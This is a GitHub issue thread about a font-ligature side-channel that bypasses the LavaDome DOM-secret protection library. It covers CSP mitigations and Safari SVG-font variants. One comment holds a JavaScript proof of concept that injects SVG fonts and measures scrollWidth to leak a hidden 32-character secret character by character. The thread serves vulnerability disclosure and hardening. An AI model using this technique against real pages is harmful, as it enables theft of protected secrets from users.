-
Notifications
You must be signed in to change notification settings - Fork 4
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
LavaDome bypass via font ligatures #40
Comments
First of all, truly amazing (hats off @securityMB). Can you help me understand something - is the fetching of a font required to be external AFAYU? Understanding this will help me determine the criticality level of this attack and what requirements must be met for attackers to succeed (a need to communicate with a server and load fonts is more likely to meet limitations such as network-CSP than a local-only attack) Thanks again for toying around with LavaDome @masatokinugawa! |
Drive-by comment: I think it theoretically should be possible to create the font client-side. Masato used https://www.npmjs.com/package/svg2ttf in the proof-of-concept and if this library can also work in the client-side JS, then this attack should work without having to contact any server. That said, I think you can still contain the attack with CSP since with local attacks you would probably still need either |
Exactly what I was thinking, just wanted to make sure my intuition was correct. Thank you. So with proper font-src CSP configuration it should be very straight forward to mitigate this vector - would you agree? |
Because honestly, I think setting up a well-thought |
Unlike other modern browsers, Safari supports SVG fonts. This allows using Michał's trick with SVG only, without converting fonts to TTF, WOFF, etc.: https://mksben.l0.cm/2021/11/css-exfiltration-svg-font.html
In the case of SVG fonts, all font components can be defined by putting them to HTML directly, so there is no need to fetch external URLs. Therefore, using Safari + SVG fonts, it still should work even if the strict CSP |
UPDATE: never mind, this seems to still work... Say @masatokinugawa , any chance Safari dropped support for SVG font-face?
Am I missing something? Because if they did, this will save me a lot of trouble |
One more question, if I may @masatokinugawa, Trying to study your research - is it true to assume, that while forming fonts in Safari does not require external connection (thanks to SVG), this isn't the case for the part where the secret is being leaked, in which external communication is necessary - right? In other words - using this SVG technique in Safari will only work by leaking each char to a remote server, and there's no way to access this leakage in the client without needing a remote server, if I understand correctly. And if so, if I manage to implement strict network CSP to my app which successfully enforces a whitelist of domains it can communicate with, this should mitigate your SVG attack - is this right in your opinion? I'm saying this because it seems from your research that the leakage of the secret happens using So for example, would you agree that |
In my blog article, I assume that an attacker can only inject CSS and can't execute JS. That is the reason why I used image requests for the leak. |
I think I understand your PoC and general approach better now @masatokinugawa. Any ideas on how to continue this? Couldn't find any other pseudo elements/classes to use here instead. setTimeout(() => {
const container = document.body.appendChild(document.createElement('div'));
const defaultWidth = document.body.scrollWidth;
const secretChars = "0123456789abcdef";
let index = 0;
let foundChars = "";
const style = document.createElement('style');
document.body.appendChild(style);
style.innerHTML = `#PRIVATE {
font-size:0;
width:0;
word-wrap: break-word
}
#PRIVATE:is(*) {
font-family:hack;
font-size:100px
}`;
const xxx = () => {
if (defaultWidth < document.body.scrollWidth) {
foundChars += secretChars[index];
console.log(`Found: ${foundChars}`);
index = 0;
} else {
index++;
}
if (foundChars.length === 32) {
alert(foundChars);
} else {
loadFont(`${foundChars}${secretChars[index]}`);
}
};
const loadFont = target => {
setTimeout(xxx, 1000);
console.log('load font:', target);
container.innerHTML = `
<svg>
<defs>
<font horiz-adv-x="0">
<font-face font-family="hack" units-per-em="1000" />
<glyph unicode="${escape(target)}" horiz-adv-x="99999" d="M1 0z"/>;
</font>
</defs>
</svg>`;
};
loadFont(secretChars[index]);
}, 3000); |
Since #47 is merged, the responsibility to mitigate this attack surface officially shifts to the developer since it requires CSP. That leaves us with Safari only, where CSP can be bypassed using SVG fonts instead (theoretically). (Removing |
The reason why the SVG font leak doesn't work well seems to be because Safari doesn't create ligatures when elements are separated. e.g.: <!-- Safari can create "AB" ligature -->
<span>AB</span>
<!-- In this case, can't -->
<span>A</span><span>B</span> I haven't found a way to leak all characters well yet. The browser's behavior with regards to ligatures seems quite inconsistent :( |
I salute your effort and willingness to help either way @masatokinugawa, thanks for your research, you helped significantly making LavaDome safer 🫡 |
I'm closing this for now, not because this vector is impossible, but because I prefer to only leave issues open when they indicate a practical way to perform a bypass, as opposed to theoretical only. |
By creating ligature fonts having large width, applying it to the secret and detecting the change of the
scrollWidth
property, the secret can be leaked.The basic idea comes from https://research.securitum.com/stealing-data-in-great-style-how-to-use-css-to-attack-web-application/ by @securityMB.
npm install
andnode index.js
The text was updated successfully, but these errors were encountered: